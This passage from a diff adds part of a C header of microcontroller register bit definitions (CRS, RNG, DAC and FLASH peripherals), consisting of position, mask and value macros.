(8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xAAC7U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x7FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x7UL << FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x00000007 */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x7UL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x00070000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define 